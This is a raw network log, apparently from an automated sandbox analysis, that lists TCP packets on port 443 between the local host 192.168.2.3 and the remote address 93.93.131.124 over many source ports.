Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49704
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49704
Source: global trafficTCP traffic: 192.168.2.3:49704 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49704 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49705 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49705
Source: global trafficTCP traffic: 192.168.2.3:49705 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49705 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49705
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49705
Source: global trafficTCP traffic: 192.168.2.3:49705 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49705
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49705
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49705
Source: global trafficTCP traffic: 192.168.2.3:49705 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49705
Source: global trafficTCP traffic: 192.168.2.3:49705 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49701
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49706 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49706
Source: global trafficTCP traffic: 192.168.2.3:49706 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49706 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49706
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49706
Source: global trafficTCP traffic: 192.168.2.3:49706 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49706 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49706
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49706
Source: global trafficTCP traffic: 192.168.2.3:49706 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49706
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49706
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49706
Source: global trafficTCP traffic: 192.168.2.3:49706 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49706 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49707 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49707
Source: global trafficTCP traffic: 192.168.2.3:49707 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49707 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49707
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49707
Source: global trafficTCP traffic: 192.168.2.3:49707 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49707
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49707
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49707
Source: global trafficTCP traffic: 192.168.2.3:49707 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49707
Source: global trafficTCP traffic: 192.168.2.3:49707 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49708 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49708
Source: global trafficTCP traffic: 192.168.2.3:49708 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49708 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49708
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49708
Source: global trafficTCP traffic: 192.168.2.3:49708 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49708 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49708
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49708
Source: global trafficTCP traffic: 192.168.2.3:49708 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49708
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49708
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49708
Source: global trafficTCP traffic: 192.168.2.3:49708 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49708 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49709 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49709
Source: global trafficTCP traffic: 192.168.2.3:49709 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49709 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49709
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49709
Source: global trafficTCP traffic: 192.168.2.3:49709 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49709
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49709
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49709
Source: global trafficTCP traffic: 192.168.2.3:49709 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49709
Source: global trafficTCP traffic: 192.168.2.3:49709 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49710 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49710
Source: global trafficTCP traffic: 192.168.2.3:49710 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49710 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49710
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49710
Source: global trafficTCP traffic: 192.168.2.3:49710 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49710 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49710
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49710
Source: global trafficTCP traffic: 192.168.2.3:49710 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49710
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49710
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49710
Source: global trafficTCP traffic: 192.168.2.3:49710 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49710 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49711 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49711
Source: global trafficTCP traffic: 192.168.2.3:49711 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49711 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49711
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49711
Source: global trafficTCP traffic: 192.168.2.3:49711 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49711 -> 93.93.131.124:443
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49711
Source: global trafficTCP traffic: 93.93.131.124:443 -> 192.168.2.3:49711
Source: global trafficTCP traffic: 192.168.2.3:49700 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49702 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49703 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49704 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49705 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49706 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49707 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49708 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49709 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49710 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49711 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49712 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49713 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49714 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49715 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49716 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49717 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49718 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49719 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49720 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49721 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49722 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49723 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49724 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49725 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49726 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49727 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49728 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49729 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49730 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49731 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49732 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49733 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49738 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49739 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49750 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49751 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49753 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49754 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49755 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49756 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49757 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49758 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49759 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49760 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49761 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49762 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49700 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49700 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49700 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49700 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49700 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49700 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49700 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49700 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49702 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49702 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49702 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49702 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49702 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49702 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49702 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49702 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49702 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49703 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49703 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49703 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49703 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49703 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49703 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49704 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49704 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49704 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49704 -> 93.93.131.124:443
Source: global trafficTCP traffic: 192.168.2.3:49701 -> 93.93.131.124:443
